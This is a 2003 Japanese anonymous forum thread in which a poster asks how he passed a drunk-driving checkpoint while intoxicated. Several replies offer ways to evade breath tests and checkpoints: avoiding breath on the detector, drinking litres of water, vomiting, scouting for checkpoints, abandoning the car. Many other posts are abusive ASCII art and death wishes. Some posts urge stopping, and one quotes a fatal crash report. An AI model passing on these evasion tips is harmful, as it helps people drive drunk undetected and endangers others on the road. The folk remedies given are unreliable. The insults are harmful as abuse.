2ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

酒気帯び

1 :Lucky:03/11/02 15:58 ID:nXm6KO/x
先日非常にラッキーにも酔っていながら、酒気帯び検問をパスしてしまいました。
その日私は飲み屋では完全に酔いが回っていたので、最後の30分くらいはセーブしていました。
店を出てからはスーパーで30分くらい買い物をして、
喉が渇いたのでオレンジジュース(500ml)を買って帰りの運転をしながら飲みました。
ところが10分ちょい運転したころ、なっなんと飲酒検問をしているではありませんか。
酔っていたこともあり、もうダメだとすぐに堪忍して最初は検知器に向かって「ハッ」と声だけ出したところ、
検知器の反応がなかったようで、もう一度やることになり、
あー、これで20万〜30万がパーだなとすごく後悔しながら、
できるだけ息が検知器にかからないように声を上げたところ、そのまま通されてしまいました。

1時間ちょっと前まで飲んでいて、自分は酒気帯び状態だったのですが、
検知器にひっかからなかったことが不思議でなりません。
この検問までの約1時間の間に口にしたのは、スニッカーズ(チョコ)とオレンジジュース(500ml)のみです。
もしかして、このどちらかが酒気帯び隠滅の特効薬となるのでしょうか?
だとしたら、非常に手軽で安価な特効薬なので、
経験者あるいは詳しい方いらっしゃいましたらレス願います。

2 :名無しさん@お腹いっぱい。:03/11/02 17:34 ID:???
逝ってよし。


3 :名無しさん@お腹いっぱい。:03/11/03 12:19 ID:???
終了

4 :名無しさん@お腹いっぱい。:03/11/03 17:13 ID:???
         >>1 うるせー馬鹿。最悪板に帰れ。死ねっ!!!
  \__ __________ __________ ________/
      ∨              ∨              ∨ 
       ζ                                  (⌒Y⌒Y⌒)
     / ̄ ̄ ̄ ̄ \         ____             /\__/
    /          \       /∵∴∵∴\           /  /    \
   /\    ⌒  ⌒  |     /∵∴∵∴∵∴\         / / ⌒   ⌒ \
   | |    (・)  (・) |    /∵∴//   \|     (⌒ /   (・)  (・) |
   (6-------◯⌒つ |    |∵/   (・)  (・)│    (  (6      つ  |
   |    _||||||||| |    (6       つ  |     ( |    ___ |
    \ / \_/ /     |    ___ |         \   \_/  /
      \____/        \   \_/ /          \____/
   ______.ノ      (⌒)          \____/         ______.ノ      (⌒)
 //::::::::|-、 ,-/::::::ノ ~.レ-r┐    ______.ノ      (⌒)      /::::::::::|----/::::::ノ ~.レ-r┐
/ /:::::::::::|  /:::::ノ__ | .| ト、  /:::∴:|-、 ,-/::::::ノ ~.レ-r┐  /:::::::::::::::|  ./:::::ノ__ | .| ト、
| /:::::::::::::::| 〈 ̄   `-Lλ_レ  /::::::∵:::::|_/:::::ノ__ | .| ト、  | ::::::::::::::::| .〈 ̄   `-Lλ_レ
レ::::::::::::::::::|/::: ̄`ー‐---‐′  |:::;;::::::::::::::::::〈 ̄   `-Lλ_レ   レ::::::::::::::::::|/::: ̄`ー‐---‐

5 :名無しさん@お腹いっぱい。:03/11/03 17:18 ID:???
─── /⌒ヽ, ─────────           ∩,,,,__
 ̄ ̄  / ,ヘ  ヽ∧_∧  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄    ”/(、Д)⊃ ' ←>>1
 ̄ ̄ i .i \ ( ´Д`)ヽ,   ___,, __ _ ,, - _―" ’. ./; ; ,,((()))  ' ’・ ,
── ヽ勿  ヽ,__    j  i~""     _ ― _: i∴/ __つ ”_ ∵,
______   ヽ,, / / __,,, -- "" ─ "ー ・, . .(_/ (   ; - 、・
───────  ヽノ ノ,イ  ─── ― -
───────  / /,.  ヽ,  ──
______   丿 ノ ヽ,__,ノ ___ _ _ _
           j  i
_____    巛i~ ____ _


まあ、とにかくおめでたい>>1は逝ってよしってこった

6 :◇DJjgTFGW6M:03/11/03 17:24 ID:???
        \ || /                      \‖/
           ┌┬┬┬┐                        ∩
     ―――┴┴┴┴┴―――――.、       / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\
    ./.  ̄ ̄ ̄//. ̄ ̄| || ̄ ̄ ̄|| ̄ ̄||      || ̄ ̄ ̄ ̄||. ̄ ̄.| ||#######||########|
   /.    ∧// ∧ ∧| ||      ||    .||     ..||  ∧∧ ||.∧∧.| ||#######||########|
  [/____(゚_//[ ].゚Д゚,,) ||___||__.||     .[|||.へ(゚Д゚ )..|| ゚Д゚,,) ||#######||########|
  ||_. *  _|_| ̄ ̄ ∪|.|.       |ヽ.  _.||      || ̄ ̄ ̄ ̄|| ̄∪ ̄|.| ̄ ̄ ̄ヽ| ̄ ̄ ̄ ̄..|
  lO|o―o|O゜.|二二二 |.|都立松沢病院 .|    ..  lO|o―o|O゜|======||===府中刑務所===|
  | ∈口∋ ̄_l__l⌒l_|_____|_l⌒l__..|| ≡)) .  |∈口∋ ̄_l__l⌒l_|____|___l⌒l__|≡≡))
    ̄ ̄`ー' ̄   `ー'  `ー'    `ー'          ̄ ̄`ー' ̄   `ー'  `ー'     `ー'
          ∧                         .∧
/ ̄ ̄ ̄ ̄ ̄ ̄  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\
|  >>1をお迎えに上がりました!! お好きな車へ分乗願います!!
\__ _________________________ ______/




7 :名無しさん@お腹いっぱい。:03/11/03 21:20 ID:???
,,_________,,___________,,_____
| (3)  15版        毎   朝   新   聞
| ──────────────────────────
| | ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|        ┌‐──── ┐
| |  ( ・∀・)   | | ガッ   |  | | | |    .| _「l__「「」|
| | と    )    | |      |  | | | | .相 | 'ーi r─i|  | 
| |   Y /ノ    人       |  ── 次.  |   ノノ . ノノ. .|
| |    / )    <  >__Λ∩   |  | | | | .ぐ. |  ~  ^´   . |
| |  _/し' //. V`Д´)/   |  | | | | .糞  !        .|
| | (_フ彡        /    |  ──  ス  |.          |
|. └───────────┘ | | | |  レ . !        |
| ガッされる>>1容疑者─29日  ..| | | |  に  |  「「」 /7  |
| ──────────────── .怒 .|    ノ '    |
| | | | | | | | | | | | | | | | | | | | | | | | | | | | |.  り  |.         |
| | | | | | | | | | | | | | | | | | | | | | | | | | | | |. .の .└───‐ ─┘
| ──────────────── .声 ────────
| | | | | | | | | | | | :: | | | | | | | | | | | | | |.  も   | | | | | | | | | | |
| | | | | | | | | | | | :: | | | | | | | | | | | | | |       | | | | | | | | | | |
| ──────────────────────────
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | ̄痔には ̄| | | | | |



8 :名無しさん@お腹いっぱい。:03/11/03 21:24 ID:???
>>1よ、お前は車に乗る資格はない。
今すぐ免許を返納しろ。
お前みたいな奴が免許を取ってはいけない。


9 :名無しさん@お腹いっぱい。:03/11/03 21:42 ID:???
          _Y_
            r'。∧。y.
         ゝ∨ノ       >>1が糞スレ             ,,,ィf...,,,__
          )~~(             立てている間に   _,,.∠/゙`'''t-nヾ ̄"'''=ー-.....,,,
         ,i   i,                        ,z'"    ̄ ̄ /n゙゙''''ー--...
         ,i>   <i     文明はどんどん発達し    r”^ヽ      く:::::|::|:::〔〕〔〕
         i>   <i.     ていく・・・・・・。      入_,..ノ ℃      ̄U ̄_二ニ=
`=.,,ー- ...,,,__  |,r'''"7ヽ、|  __,,,... -ー,,.='             >ーz-,,,...--,‐,‐;;:'''""~
  ~''':x.,,  ~"|{ G ゝG }|"~  ,,z:''"                     ___
      ~"'=| ゝ、.3 _ノ |=''"~      <ー<>         /  l ̄ ̄\
        .|))    ((|        / ̄ ゙̄i;:、      「 ̄ ̄ ̄ ̄| ̄| ̄ ̄ ̄\
             ))|       r'´ ̄「中] ̄`ヾv、   `-◎──────◎一'
                   ├―┤=├―┤ |li:,
                   |「 ̄ |i ̄i|「.//||「ln|:;
                   ||//__|L_」||__.||l」u|:;
                   |ニ⊃|  |⊂ニ| || ,|/
                   |_. └ー┘ ._| ||/
                   ヘ 「 ̄ ̄ ̄| /,



10 :1の末路:03/11/03 23:10 ID:???
                          ┗0=============0┛
               \===========[_|_|_|_|_|_|_|_|_|_|_|_|_|_]===========/
            /三三三三三三三三三三三三三三三三三三三三\
                  0 │ |∞∞∞ |::|∞∞田田∞∞|::|∞∞∞ | ::|  0
            [二] | ::|       |::|┏━━━━┓|::|       | ::l [二]
◎○@※◎○@※. |□|.│ |┌┬┐ |::|┃/ >>1.\┃|::| ┌┬┐| ::|. |□| ◎○@※◎○@※
ii|iiii|iiii|iiii|iiii|iiii|iiii|iiii| `)三(´| ::|├┼┤ ∧_∧ ┃|::| ├┼┤| ::|`)三(´il|iiii|iiii|iiii|iiii|iiii|iiii|iiii|
@※◎○@※◎○ | ::| | ::|└┴┘ |::|┃(´∀` ) ┃|::| └┴┘| ::| | ::|  @※◎○@※◎○
ii|iiii|iiii|iiii|iiii|iiii|iiii|iiii|li┏━━━━|::|┃(.    つ┃|::|┏━━━━━┓ li|iiii|iiii|iiii|iiii|iiii|iiii|iiii|l
◎○@iiii※◎○@ ┣┳┳┳┳┳┫|::┗━━━━┛|::|┣┳┳┳┳┳┫ ◎○@iiii※◎○@
ii|iiii|iiii|iiii|iiii|iiii|iiii|iiii|l ○    ●        ∫∬∫∬        ●    ○ ii|iiii|iiii|iiii|iiii|iiii|iiii|iiii|li
               ○○  ●●      iiiii iii ii iiii       ●●  ○○
           [ ̄ ̄] [ ̄ ̄]   ( ̄ ̄ ̄ ̄ ̄)    [ ̄ ̄] [ ̄ ̄]
                |_○_|  .|_○_|     |_____|     |_○_|  .|_○_|


11 :名無しさん@お腹いっぱい。:03/11/03 23:19 ID:???
1の母「この度は息子がクソスレを立ててしまいまことに申し訳ありません」
1の妹「あんなにやさしかったお兄ちゃんが突然おかしくなっちゃったの」
1の精神科医「1は重度の精神障害を引き起こしている」
1のエクソシスト「1には悪霊が数体とり憑いており大変危険な状態だ」
1の主治医「お気の毒ですがもって3ヶ月。回復の見込みはないでしょう」
1の同級生「いつかはやるだろうとみんなから言われていました」
1を介護するロボット「介護モ困難ナ状態ニアリマシタガココマデハ予測デキマセンデシタ」
1の体内に金属片を埋めた宇宙人「1ヲ実験体二スルニハ無理ガアッタヨウダ」
1の初体験の相手のソープ嬢「オドオドしていて雰囲気が怖かったです」
1の家臣「このような時にご乱心あそばされるとは無念の至りでござる」
1の精子「オナーニをやめたかと思えばこんなことをしているとは!」
1の召喚獣「史上最凶の生物を召還する前触れです。それだけは阻止してください!」
1のシーモンキー「こんなやつに飼育されるのは奴隷以下の存在。悲しいです」
1の暗殺を狙う工作員「このような暴挙に出るとは。1に接近するのはまだ危険だ」
1の中学生時代の担任「1の将来は心配していましたが・・・私の力不足でした」
1の幕僚「今宵我ら幕僚一同はクーデターを起こし1を暗殺する!」
1を尾行していた公安当局「まだ危険が終わったとはいえない。引き続き監視を続ける」
1と同期の幕内力士「ごっつぁんです、1が帰ってきたら存分にシゴいてやるっす!」
1を蘇らせたネクロマンサー「魔族をもはるかに超えた邪悪な力を感じる。暗黒時代の到来だ」
1へ。(ビートたけし)「カローラがこんなに変われる時代だ。1はどうだい?」
1の事件を知ったブッシュ大統領「1への報復のためならばいかなる行動も辞さない!」
1の事件を知った小泉首相「Show the Flag ! 全力で後方支援をする」
1の事件を知った金大中氏「今回の1の行動に対して謝罪と賠償を要求する」
1の事件を知ったビン・ラディン氏「これはジハードだ!若者よ立ち上がれ!」

12 :名無しさん@お腹いっぱい。:03/11/04 19:36 ID:???
>>1
>>先日非常にラッキーにも酔っていながら、酒気帯び検問をパスしてしまいました。

この地点で逝ってよし。
お前みたいなDQNが車に乗るな。


13 :名無しさん@お腹いっぱい。:03/11/04 22:09 ID:???
>>1
あれほど言ったのに、まだそんなカキコするですか!もう許さんです!
あんたを許すわけにはいかんです!こんなカキコでレスたくさん付くとでも
思ってるなんて頭おかしーよです!あんたみたいなバカ初めて見たです!
あんたみたいなバカ、ゴキブリ以下です!あんたみたいなバカ、ウジ虫以下です!
死んでほしーです!つーか、死ぬべきです!あんたは絶対に許されないです!
勘違いしたバカを許すわけにはいかんのです!面白半分にいい加減なカキコ
するヤツなど許さんです!キャラメルコーンのピーナッツをケツの穴に詰めて
死ねよです!!!
今まであんたがどんな生き方してきたか知らんけど、どーせひどい生き様
だったと想像出来るです!あんたのカキコから読みとれるです!バカ特有の
匂いがするです!あんたのことが全く理解出来んです!あんたは絶対許さんです!
死んでも許さんです!地獄で苦しめよです!それでも足らんくらいです!
豆腐の角に頭ぶつけて死ねよです!!!
あんたもっと現実を知れよです!いつまでも引きこもってネクラなことしてる
場合じゃないよです!でも、もー手遅れです!あんたは何をやってもダメです!
この世に生まれてきたことを後悔してもダメです!あんたは生まれ変わっても
どうせダメ人間に決まってるです!絞め殺したいけどあんたに触るのが嫌なので
やめるです!でも、あんたみたいなカスは死ねよです!風呂の排水口に吸い込まれて
死ねよです!!!
絶対許さんです!絶対許さんです!絶対許さんです!あんたみたいなヤツは
絶対許さんです!早く消えろです!さっさとこの世からいなくなれよです!!!
いつまでも勘違いしたまま生きていけると思ったら大間違いだよです!この
まま生きててもお前にはいーことなんにもねーよです!何でもいいからさっさと
死ねよです!!!


14 :名無しさん@お腹いっぱい。:03/11/05 00:13 ID:???
■■□■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■□■■■■□■■■■□■■■■■■■■■■□■■■■■■■■
■■□□□□■■□■■■□■■□□□□□■■■□■■■■■■■■
■■□■■□■■□■■■□■■■■■■□■■■□■■■■■■■■
■□■■■□■■■■■□■■■■■■□■■■■□■■■■■■■■
■□■■■□■■■■■□■■■■■■□■■■■□■■■□■■■■
■■■■■□■■■■■□■■■■■□■■■■■□■■■□■■■■
■■■■□■■■■■□■■■■■■□□■■■■□■■□■■■■■
■■■■□■■■■■□■■■■■□■■□■■■□■■□■■■■■
■■■□■■■■■□■■■■■□■■■■□■■□■□■■■■■■
■■□■■■■■□■■■■■□■■■■■■■■□□■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■□■■■■■□■■■■■■■■■■■■■■■■■■■■■
■■■□□■■■■■□■■■■■■■□□□□□□□□□□□□■■
■■□□■■■■■□□□□□□■■■■■■■■■■■■■□□■■
■□□■■□■■■□■■■■□■■■■■■■■■■■■□□■■■
■■□■□□■■□□□■■□□■■■■■■■■■■■□□■■■■
■■■□□■■□□■□□□□■■■■■■■■■■■□□■■■■■
■■□□■■■■■■■□□■■■■■■■■■■■□□■■■■■■
■■□■■■□■■■□□□□■■■■■■■■■■□■■■■■■■
■□□□□□□■■□□■■□□■■■■■■■■■□■■■■■■■
■■■■□■■■□□■■■■□□■■■■■■■■□■■■■■■■
■■□■□■□■■■■□□■■■■■■■■■■■□■■■■■■■
■■□■□■□■■■■■□□■■■■■■■■■■□■■■■■■■
■□□■□■□■■■■■■■■■■■■■■■■■□■■■■■■■
■□■■□■■■■□□□■■■■■■■■■■■■□■■■■■■■
■■■■□■■■■■■□□□■■■■■■■■■■□■■■■■■■
■■■■□■■■■■■■■□□■■■■■■□□□□■■■■■■■


15 :名無しさん@お腹いっぱい。:03/11/05 13:18 ID:lElACBv2
>>1を叩いてる連中の意味がわかれへん。別にエエけど・・・
たぶん >>1 を叩いてる連中は
(1)ニックボックウィンクルの狂信的な信者
(2)ストットルマイヤーピッチングコーチの狂信的な信者

このふたつのどちらかに間違いないやろ。


16 :名無しさん@お腹いっぱい。:03/11/05 18:04 ID:lUYynMgw
ここは違反の潰し方やから、内容はあってるのにね。
感心できんが

17 :名無しさん@お腹いっぱい。:03/11/05 21:08 ID:???
        ゴガギーン
             ドッカン
         m    ドッカン
  =====) ))         ☆
      ∧_∧ | |         /          / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
     (   )| |_____    ∧_∧   <  おらっ!出てこい>>15
     「 ⌒ ̄ |   |    ||   (´Д` )    \___________
     |   /  ̄   |    |/    「    \
     |   | |    |    ||    ||   /\\
     |    | |    |    |  へ//|  |  | |
     |    | |    ロ|ロ   |/,へ \|  |  | |
     | ∧ | |    |    |/  \  / ( )
     | | | |〈    |    |     | |
     / / / / |  /  |    〈|     | |
    / /  / / |    |    ||      | |
   / / / / =-----=--------     | |


18 :名無しさん@お腹いっぱい。:03/11/05 23:59 ID:AvzGKlZd
>>1を叩いてる連中
関係者だとおもわれw

19 ::03/11/06 00:14 ID:???
( ´,_ゝ`)プッ
( ゚,_ゝ゚)バカジャネーノ

20 :名無しさん@お腹いっぱい。:03/11/06 00:54 ID:???
酒気帯びでもなんでもいいから、事故るときは
一人で死んでくれ、人様巻き込むんじゃねーぞ。

21 :名無しさん@お腹いっぱい。:03/11/06 02:27 ID:???
オマエラ馬鹿か?ココの板のタイトル見てから言えや

22 :名無しさん@お腹いっぱい。:03/11/06 11:06 ID:???
スニッカーズって腹が減っても普通喰わないよな。

23 :44:03/11/06 12:15 ID:31E0ptO9
あとさ、発券機の仕組みを知りたいよね。
人とおっても出てこないし。鉄板とか持ち歩けばいいのかな?
鉄板かざして、発券機から券ゲット。
すぐ出れば無料のところも多いし、最悪でも最低限の料金でOK。
これが一番スマートでは?
(BBQ用の鉄板とかかざすのカコワルイから、
デザイナーみたいな感じでA1とかの書類入れっぽい
感じに加工してこれでキマリ?)

24 :23:03/11/06 12:16 ID:31E0ptO9
誤爆すいません

25 :23:03/11/06 12:23 ID:31E0ptO9
誤爆ついでに酒気帯びの話かくと、
「水?飲んでもいいよどうせ結果はかわらないよ」って警官は言うけど、
そんなことは無い!
まじで、3リットル、4リットルと限界に挑戦(吐くまで)すれば、
結果はかわります。

というのはオレ、超酒弱くて、普段飲んで運転なんかしないわけ。
ところがケコーン式でつい飲まされちゃって、
運悪く二次会への移動中に検問に!
はっきりいってへべれけで、顔真っ赤なんてもんじゃないくらい真っ赤。
足元もふらふらで、酒良いと認定されなくてラッキーだった、というレベル。

んで、「てやんでーばっきゃろー検査したきゃ令状もってこい!」
なんて言いながら、なぜか2リットルの水が2本車内にあったので、
それを次から次へと飲みほした。
全部飲み干したところで、「OK検査受けてやるよ。」と。
この時点ではまだ顔真っ赤だったけど、息の酒臭さは少し抜けはじめてる
気がした。
そんで検査開始。
これがですね、ぎりぎりOKだった、とかじゃなくて、全然OKだったんですよ。
目盛りがピクリとも動かない。

そんなわけで諸君。
2リットルx2
これだけ水飲めば、大丈夫。

26 :校長が強盗:03/11/06 12:24 ID:mtMVoptt
この事件は報道されていません。
 それをよいことに教育委員会も校長を処分しません。
被害者先生のサイト
 http://mtsuji.com
 学校への抗議メール
 http://www.geocities.co.jp/CollegeLife-Lounge/8362/index.html
事件担当の文部科学省官僚へのサイト
 http://chiba_273.at.infoseek.co.jp/tanaka/index.html
 事件究明を求める署名サイト
 http://chiba_273.at.infoseek.co.jp/
校長のいた学校のサイト
 http://www.mie-c.ed.jp/sbmie/
 皆様の力でこの事件を広めてください。

27 :名無しさん@お腹いっぱい。:03/11/06 14:27 ID:???
>>25
酒どんくらい飲んだんだよ?アルコールの量にもよるだろ
ウィスキー4リッターとか飲んだんなら お前が正しい

28 :名無しさん@お腹いっぱい。:03/11/06 14:47 ID:???
( ゚,_ゝ゚)バカヅャネーノ。

29 :名無しさん@お腹いっぱい。:03/11/06 22:28 ID:???
「2ちゃん駄スレアワーの時間がやってまいりました。本日は駄スレ研究の第一人者、
 恩田擦次郎さんにスタジオにお越しいただきました」
「よろしくお願いします」
「さっそくですが恩田さん。このスレッドは駄スレとしてはどの程度のレベルでしょう?」
「そうですね。まあ、並み程度といったところでしょうか」
「ははあ、並みですか。その判定の基準は、一体どのようにおつけになるんですか?」
「ええ、私ども駄スレ愛好家の間では、三段階の基準があるんですよ。
 まず、私怨による誹謗中傷や個人情報の公開を行ったスレ…これを厨房スレといいます。
 削除対象になる最悪なスレですね。
 次に、このスレのようにつまらないネタで立ってしまったスレ。これを駄スレといいます。
 最後に、まったくレスがつかないままDAT落ちしたスレ。
 これは瞬殺スレッドと呼ばれ、愛好家の間で最も優秀な駄スレと言われています」
「レスがまったくつかないスレッドが優秀なんですか?」
「そうです。どんな駄スレでも大抵の場合は『終了』『>>1の母です』等のレスがつきますからね。
 まったくレスがつかないままDAT落ちするのは、まさに至難の業なんですよ。
 目立たないタイトルに、当り障りのないテーマ、煽りやマジレスがつかない内容…
 微妙なバランスを保って、誰の目にもとまらずひっそりと下がっていく…まさに芸術です」
「なるほど…駄スレひとつ取っても奥深い世界があるんですね。
 では、このスレッドの>>1は、瞬殺スレッドを作れる才能というのはありそうですか?」
「残念ながら難しそうですね…。見るからに自己中心的な内容で、名声欲が強そうですから、
 すぐに煽りレスがつくでしょうし、レスがつかなければ自作自演してしまうタイプですね」
「では最後に、ここの>>1にアドバイスをお願いします」
「人には向き不向きというのがあります。残念ながらあなたはネット活動には不向きです。
 周囲の反応をダイレクトに受けて喜びたいというあなたには…そうですね、
 発展途上国でのボランティア活動などが向いているんじゃないでしょうか?」
「ありがとうございました」



30 :名無しさん@お腹いっぱい。:03/11/06 22:39 ID:ObLUZ70n
トイレの水道で水を4リットル飲む->吐く
を何度も繰返し、脂汗とか沢山かけば効果有るかもね。
やりすぎてぶっ倒れて、救急車で運ばれる間に時間が経って、アルコール濃度が低くなるかもしれないし。
俗説で煙草一本食べると出なくなるというのが有ったけど、燃やしてないニコチンは毒なので食べ過ぎると死ぬよ。

マジレスすると、ヘッドレストに頭を密着させて、視界の中でボディの一部とラインを重ね合わせるとふらつき防止にならないかな?
パトカーや白バイは、ふらついてる車を停めてるんでしょ。

あと、スレ違いかもしれないけど酒気帯びでぶっ飛ばすのはやめようね。
反応時間が2-3倍になるらしいから、どうしても酒気帯びをやるなら車間は3倍、速度は流れを乱さない範囲で控えめに。


31 :Lucky:03/11/09 01:49 ID:VFxTm+vN
>>30
スピードは出しません。
単に帰りの足に使ってるだけなので、安全運転に徹しています。

でも水4Lの話聞くと500mlだけど、車の中で飲んだオレンジジュースが効いたのかな?


32 :名無しさん@お腹いっぱい。:03/11/09 09:43 ID:???
( ゚,_ゝ゚)バカヅャネーノ。

33 :1の末路:03/11/09 21:20 ID:???
     __ _________
      r | |――┐  r――  ヽ    すいません、ちょっと轢きますよ・・・
      L.! !__./⌒ヽ Li__   \
       ._| | / ´_ゝ`) ||____    \_              (~ヽ       .. .
     (_| | |   /⊃⌒ヽ i     \)         /⌒ヾ .\\_   :・:∵:
        \ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄"''' - ..,,  人 /⌒ヾ / \\ヽ∴: 
      _  \_/⌒ヽ________/⌒ヽ  て   / ノテ-ヽ( 。A。 )>>1
        ヽ      _ノ r―――─―――┐ _ノ ドカッ/ / /   ∨ ∨
         |  ____| 三三三三三三三.|__l__    / / | |
      | ._|--[_______________] / __) ノ )
     ノ.|  |    ===========[ sage ]======='   ー'    し'
   ヽ_ノ_ノ               ヽ__ノ_ノ


34 :名無しさん@お腹いっぱい。:03/11/09 22:24 ID:HDOBqT9i
>>31
>>オレンジジュースが効いたのかな?
排尿や嘔吐をしてないなら、大きな効果は無いような気がします。
発汗は、全く効果が無いとは言えませんが、10分程度なら大した効果は無いでしょう。
むしろ、
>>できるだけ息が検知器にかからないように声を上げたところ
が効いたのかもしれません。
ところで、ふらつきが無いという前提で、通りの激しい道路の方が全部の車を停める訳にはいかず、捕まりにくいなんて言いますよね。
いわゆる抜け道的な裏通りは、昔から飲酒の取締りが多いと言われてる気がします。
あと、飲み屋街の駐車場から大通りまでの道路は、当然乗る前に歩いて検問の有無を確認してますよね?
そういえば、よく雑誌とかでは「先のほうに検問を見つけたら、車を放置して歩いて帰る。あとで見つけた警察が駐車違反で切符を切っても駐車違反ですむ」なんて方法が紹介されてますね(w
お勧めはしませんが。

安全運転に徹してるという事なので道義的にどうこう言うつもりはありませんが、やっぱり酒気帯びはお勧め出来ません。
違法ですし、飲酒運転を勧めた者も責任を問われるという事もあります。
でもそれだけではなくて、安全に徹して仮に素面の時と同じ安全性を実現しても素面の時だって事故る可能性は有りますよね。
もらい事故で免許取り消しになったら大変です。
私自身、正直な話学生の頃には結構やりました(とっくに時効)し、幸い酒器帯び時には無事故無検挙でした。
でも、就職してからは酒気帯びはやらないようにして来ました。

やめる事をお勧めしますが、どうしてもやるならもらい事故すら絶対にやられないようにする事ですね。
信号待ちで最後尾についた際、後ろから突っ込まれないように気を付けてますか?
前方の車間を空けて突っ込まれそうになった際に回避しやすくする事は当然ですが、ミラーに気を付けていれば回避は出来なくてもブレーキランプの点滅やハザードで警告して、被追突防止に役立ちつ可能性はありますよね。
もっとも、走行中に後ろを気にし過ぎるのは前方不注意になりかねないので判断が難しいですが。

何はともあれ安全運転で。

35 :Lucky:03/11/10 02:22 ID:???
>>34
親身のレスありがとうございます。

なんかこんな親身なレスしてもらうと34さんのように止めないとという気になってきました。
もらい事故の際に警察呼ぶなとは言えないので、そのケースは気になってました。


36 :名無しさん@お腹いっぱい。:03/11/11 01:04 ID:???
     ∧__∧  ミ _ ドスッ     ∧__∧  ミ _ ドスッ
     (   ,,)┌─┴┴─┐      (   ,,)┌─┴┴─┐
    /   つ  放 置  │     /   つ  廃 墟 .│
  〜′ /´ └─┬┬─┘   〜′ /´ └─┬┬─┘
   ∪ ∪     ││ _ε3   ∪ ∪     ││ _ε3
             ∧∧  ミ  _ ドスッ
             (   ,,)┌─┴┴─┐
          .  /   つ 終了   │
          〜′ /´ └─┬┬─┘
           ∪ ∪     ││ _ε3
     ∧∧  ミ  _ ドスッ     ∧∧  ミ _ ドスッ
     (   ,,)┌─┴┴─┐      (   ,,)┌─┴┴─┐
    /   つ 不法投棄.│     /   つ    氏ね │
  〜′ /´ └─┬┬─┘   〜′ /´ └─┬┬─┘
   ∪ ∪     ││ _ε3   ∪ ∪      ││ _ε3
             ∧∧  ミ  _ ドスッ
             (   ,,)┌─┴┴─┐
          .  /   つ.削除依頼.│
          〜′ /´ └─┬┬─┘
           ∪ ∪     ││ _ε3


37 :名無しさん@お腹いっぱい。:03/11/20 22:47 ID:???
グレープジュースを飲むと、早く酔いがさめるらしい。


38 :名無しさん@お腹いっぱい。:03/11/20 23:40 ID:???
          \        立             /
          \       て    ∧_∧ 糞  /
             .\       る γ(⌒)・∀・ )..ス /      ぅぉぇっぷ
スレ潰し↓       \   な .(YYて)ノ   ) レ./       〃⌒ ヽフ
  ∧_∧スレ潰し>>>1\  っ     | | |   /       /   rノ
 ( ´∀`)           .\!    (__)_) /       Ο Ο_)***
 (   /,⌒l              \      ∧∧∧/     『引き籠り精神病者・>>1
 | /`(_)∧_0.        \   <   ま > 糞スレを乱立させる基地外。
 (__)(゚∀゚; )⊃⌒⊃←>>1  \ <>>1   >毎日相手にされず、ウザい自作自演を続ける。
~~~~~~~~~~~~~~~~~~~~~~~~~~~~    <    た >
―――――――――――――――<      >―――――――――――――――――――――
        ___ オラッ!       <か    >          ハハハ
    ドッカン |   | 出て来い悲惨な>>1∨∨∨\          ∧_∧
    ∩∩  |   |   |  ∩∩     /\ │ /\        ( ^∀^)<あほか
   | | | |  |   |   |  | | | |     /  / ̄\    \     ( つ ⊂ )
  ..(  ,,) .|   |   | (・x・ )   / ─( ゚ ∀ ゚ )─   \    .)  ) )
  /  .つ━━ロ|ロ ドカン l   |U  /    .\_/      \  (__)_)     (^∀^)ゲラゲラ
〜(   /   |   |   |⊂_ |〜./    / │ \       \    『糞スレの総合商社・>>1
  し'∪   |   |   |   ∪ /  電波〜   電波〜    \毎日何処かの板で糞スレを立てる>>1
          ̄ ̄ ̄ ̄     /  .∧__∧      ∧__∧      \糞スレを立てる事しかできない白痴。
      ガッキーン       /  ( ゚∀゚ )    ( ゚∀゚ )         


39 :名無しさん@お腹いっぱい。:03/11/24 13:14 ID:???
あげ

40 :慶子:03/11/24 13:46 ID:1YVjlPyT
ttp://keiko.fam.cx/

41 :名無しさん@お腹いっぱい。:03/11/24 15:15 ID:???
人を殺めなくても飲酒して事故を起こすと大抵の企業は事故を起こした人を
首にしますよ。
たとえ私生活で起こしたとしてもだ。

運が良くて左遷かな??

言いたいことはそれだけのリスク背負って飲酒する必要はないし、代行頼
みましょうね>>1

42 :1の仲間:03/11/24 23:26 ID:???
23日午前5時25分ごろ、埼玉県久喜市南4丁目の県道交差点で、
同市本町2丁目、とび職座間味政之容疑者(20)の乗用車が
同県杉戸町高野台西3丁目、会社員平松史朗さん(44)の乗用車に衝突し、
平松さんの車の後部座席にいた次男正嗣君(9)が死亡、
平松さんと長女(12)が肩などを骨折し、三男(3)も軽いけがをした。
パトカーが同容疑者を追跡中で、久喜署は業務上過失傷害などの疑いで同容疑者を現行犯逮捕した。

調べでは、同市内でふらつき運転をしていた同容疑者の車をパトカーが発見。
停止を求めたが逃げたため、サイレンを鳴らして約3キロ追跡。
約5分後、同容疑者は信号を無視して交差点に入り、平松さんの車の後部に衝突した。
同容疑者は酒を飲んでいたという。

同署は危険運転致死容疑での立件も視野に捜査する一方、
パトカーの追跡方法に問題がなかったかどうかも調べている。

後藤好佑・同署長は「正当な追跡だったと考えている。
死者が出たことは残念で、ご冥福をお祈りするとともに厳正に捜査したい」と話した。

http://www.asahi.com/national/update/1123/014.html


43 :名無しさん@お腹いっぱい。:03/11/27 03:25 ID:2x59wOyt
私は2年ほど前に、ワインを半分ほどあけて、車で90分走り、30分途中で休んで、
帰っていたところ、検問にあたりました。その時、酒気帯びであり、今ほど
飲酒運転に対して厳しくなかったので、名前と指紋をとられるだけで、
終わったのですが、未成年だったこともあって、少し説教されました。

絶対にしないほうがいいですよ・・・

44 :名無しさん@お腹いっぱい。:03/12/04 02:50 ID:Y1HITwWi
私は焼酎2杯飲んで検問に合ってしまったのですが
検査であまり反応がなかったみたいで、大丈夫でした。
